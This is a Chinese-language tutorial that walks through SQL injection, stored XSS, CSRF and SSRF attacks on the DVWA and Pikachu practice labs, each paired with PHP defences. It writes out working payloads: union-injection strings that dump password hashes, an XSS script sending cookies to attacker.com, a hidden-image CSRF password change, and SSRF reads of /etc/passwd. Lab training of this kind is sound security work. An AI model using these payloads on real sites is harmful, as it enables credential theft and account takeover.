5个真实靶场案例:从SQL注入到CSRF的实战攻防演练
在网络安全领域,理论知识固然重要,但真正能让你快速成长的永远是实战经验。本文将带你通过DVWA、Pikachu等常见靶场中的5个典型案例,深入理解SQL注入、XSS、CSRF等常见漏洞的攻击原理与防御方法。每个案例都包含完整的攻击流程演示和代码级防御方案,让你在动手实践中掌握Web安全的核心技能。
1. DVWA靶场中的SQL注入攻击与防御
SQL注入是Web安全领域最经典的漏洞之一,我们以DVWA(Damn Vulnerable Web Application)靶场的"SQL Injection"模块为例,演示完整的攻击与防御过程。
1.1 攻击演示:从基础注入到获取管理员权限
首先将DVWA安全级别设置为"Low",进入SQL Injection页面。尝试在用户ID输入框中输入:
1' or '1'='1这会返回所有用户信息,因为构造的SQL语句变成了:
SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'更危险的攻击是获取数据库信息。输入:
1' union select 1,concat(user,':',password) from mysql.user#这将显示MySQL用户及其密码哈希。在DVWA中,我们还可以直接获取管理员密码:
1' union select 1,concat(user_id,':',first_name,':',last_name,':',password) from users#1.2 防御方案:PHP中的参数化查询
防御SQL注入最有效的方法是使用参数化查询(预编译语句)。以下是PHP中使用PDO的示例:
<?php $pdo = new PDO('mysql:host=localhost;dbname=dvwa', 'root', ''); $stmt = $pdo->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id'); $stmt->execute(['id' => $_GET['id']]); $results = $stmt->fetchAll(PDO::FETCH_ASSOC); ?>关键防御措施:
- 永远不要拼接SQL语句
- 对数字型参数进行类型转换
- 最小化数据库账户权限
- 关闭错误回显
提示:即使是参数化查询,也需要注意存储过程的动态SQL可能存在的注入风险。
2. Pikachu靶场中的存储型XSS攻击与防御
跨站脚本攻击(XSS)允许攻击者在受害者浏览器中执行恶意JavaScript代码。我们以Pikachu靶场的"存储型XSS"为例。
2.1 攻击演示:窃取用户Cookie
在留言板中输入以下内容:
<script> var img = new Image(); img.src = "http://attacker.com/steal.php?cookie="+document.cookie; </script>当其他用户访问留言板时,他们的Cookie会被自动发送到攻击者的服务器。获取Cookie后,攻击者可以直接冒充用户身份登录。
2.2 防御方案:输入过滤与输出编码
完整的XSS防御需要多层面措施:
- 输入过滤(白名单原则):
$clean = preg_replace('/[^a-zA-Z0-9\s]/', '', $input);- 输出编码:
htmlspecialchars($output, ENT_QUOTES, 'UTF-8');- 设置HttpOnly Cookie:
setcookie('sessionid', 'value', 0, '/', '', true, true); // 最后一个参数true表示HttpOnly- 内容安全策略(CSP):
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">3. DVWA中的CSRF攻击与防御
跨站请求伪造(CSRF)诱使用户在不知情的情况下提交恶意请求。我们以DVWA的"CSRF"模块为例。
3.1 攻击演示:诱骗用户修改密码
构造一个恶意页面csrf.html:
<img src="http://dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#" width="0" height="0">当已登录DVWA的用户访问此页面时,密码会被悄无声息地修改为"hacked"。
3.2 防御方案:CSRF Token实现
最有效的CSRF防御是使用一次性Token:
- 服务端生成Token并存入Session:
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));- 表单中包含Token:
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">- 验证Token:
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) { die("CSRF token validation failed"); }其他防御措施:
- 检查Origin/Referer头部
- 关键操作要求二次认证
- SameSite Cookie属性
4. Pikachu中的SSRF攻击与防御
服务器端请求伪造(SSRF)允许攻击者通过服务器发起任意请求。我们以Pikachu的"SSRF"模块为例。
4.1 攻击演示:访问内网资源
在URL输入框中尝试访问本地文件:
file:///etc/passwd或者探测内网服务:
http://127.0.0.1:33064.2 防御方案:请求过滤与网络隔离
SSRF防御策略:
- 输入验证:
$url = parse_url($_GET['url']); if (!in_array($url['host'], ['example.com', 'cdn.example.com'])) { die("Invalid host"); }- 禁用危险协议:
if (in_array($url['scheme'], ['file', 'gopher', 'ftp'])) { die("Protocol not allowed"); }- 网络层防护:
- 应用服务器部署在独立网络区域
- 限制出站连接
- 使用跳板机访问内部资源
5. 综合案例:从XSS到CSRF的链式攻击
真实攻击往往组合多种漏洞。我们模拟一个场景:
- 攻击者发现网站存在存储型XSS漏洞
- 注入恶意脚本窃取用户CSRF Token
- 使用窃取的Token构造CSRF请求
- 诱骗管理员访问恶意页面完成攻击
防御这种链式攻击需要:
- 实施深度防御策略
- 关键操作要求二次认证
- 定期安全审计
- 建立漏洞响应机制
靶场练习进阶建议
- 尝试不同安全级别:在DVWA中从Low到High逐步提升难度
- 组合漏洞利用:尝试XSS+CSRF、SQL注入+文件包含等组合攻击
- 编写自动化脚本:使用Python实现自动化漏洞检测
- 代码审计练习:下载靶场源码,分析漏洞产生原因
- 自定义防御方案:修改靶场代码实现更安全的版本
Web安全是攻防对抗的过程,只有真正理解攻击者的思维方式,才能构建更强大的防御体系。建议每周在靶场中进行至少2小时的实战练习,持续提升安全技能。